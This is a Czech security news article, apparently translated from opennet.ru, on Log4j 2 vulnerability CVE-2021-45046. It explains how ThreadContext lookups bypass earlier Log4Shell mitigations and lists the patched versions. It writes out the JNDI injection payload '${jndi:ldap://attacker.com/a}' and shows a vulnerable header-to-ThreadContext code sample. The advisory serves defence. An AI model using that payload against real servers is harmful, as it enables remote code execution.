V implementaci substitucí JNDI v knihovně Log4j 2 byla objevena další zranitelnost (CVE-2021-45046), která se projevuje navzdory opravám přidaným v verzích 2.15 a nezávisle na použití nastavení „log4j2.noFormatMsgLookup“ pro ochranu. Problém představuje nebezpečí především pro starší verze Log4j 2 chráněné pomocí příznaku „noFormatMsgLookup“, protože umožňuje obejít ochranu proti předchozí zranitelnosti (Log4Shell, CVE-2021-44228), která umožňuje spuštění vlastního kódu na serveru. Pro uživatele verze 2.15 je exploit omezen na vytvoření podmínek pro havarijní ukončení aplikace z důvodu vyčerpání dostupných prostředků.
Zranitelnost se projevuje pouze na systémech, kde při protokolování používají kontextové dotazy (Context Lookup), jako je ${ctx:loginId}, nebo MDC šablony (Thread Context Map), například %X, %mdc a %MDC. Exploit spočívá v vytvoření podmínek pro výstup v protokolu dat obsahujících substituce JNDI při použití v aplikaci kontextových dotazů nebo MDC šablon, které definují pravidla formátování výstupu do protokolu.
Výzkumníci z firmy LunaSec upozornili, že pro verze Log4j nižší než 2.15 může být tato zranitelnost použita jako nový vektor pro útok Log4Shell, vedoucí k provedení kódu, pokud se při výstupu do protokolu používají výrazy ThreadContext, do kterých proniknou externí data, bez ohledu na aktivaci ochranného příznaku „noMsgFormatLookups“ nebo šablony „%m{nolookups}“.

Obcházení ochrany spočívá v tom, že místo přímého vložení "${jndi:ldap://attacker.com/a}", je tento výraz vložen prostřednictvím hodnoty mezivaru a používané v pravidlech formátování logů. Například pokud se při výstupu do logu používá kontextový dotaz ${ctx:apiversion}, může být útok proveden prostřednictvím vložení dat "${jndi:ldap://attacker.com/a}" do hodnoty, která je zapisována do proměnné apiversion. Příklad zranitelného kódu: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // hodnota HTTP hlavičky "X-Api-Version" je předána do ThreadContext ThreadContext.put("apiversion", apiVersion); // při výstupu do logu bude externí hodnota apiversion zpracována pomocí vložení ${ctx:apiversion} logger.info("Přijato žádost o API verzi"); return "Ahoj, světe!"; }
Ve verzi Log4j 2.15 může být zranitelnost využita k provádění DoS útoků při předávání do ThreadContext hodnot, které vedou k cyklení zpracování formátovacího vzoru.

Pro zablokování zranitelnosti byly vydány aktualizace 2.16 a 2.12.2. V větvi Log4j 2.16, kromě nápravy provedené ve verzi 2.15 a vázání JNDI LDAP dotazů na "localhost", je ve výchozím nastavení zcela vypnuta funkcionalita JNDI a podpora vzorů pro nahrazení zpráv byla odstraněna. Jako obcházející ochrana bylo navrženo odstranit třídu JndiLookup z classpath (například "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Sledovat vydání oprav v balíčcích lze na stránkách distribucí (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) a výrobců Java platforem (GitHub, Docker, Oracle, vmWare, Broadcom a Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure atd.).
Zdroj: opennet.ru
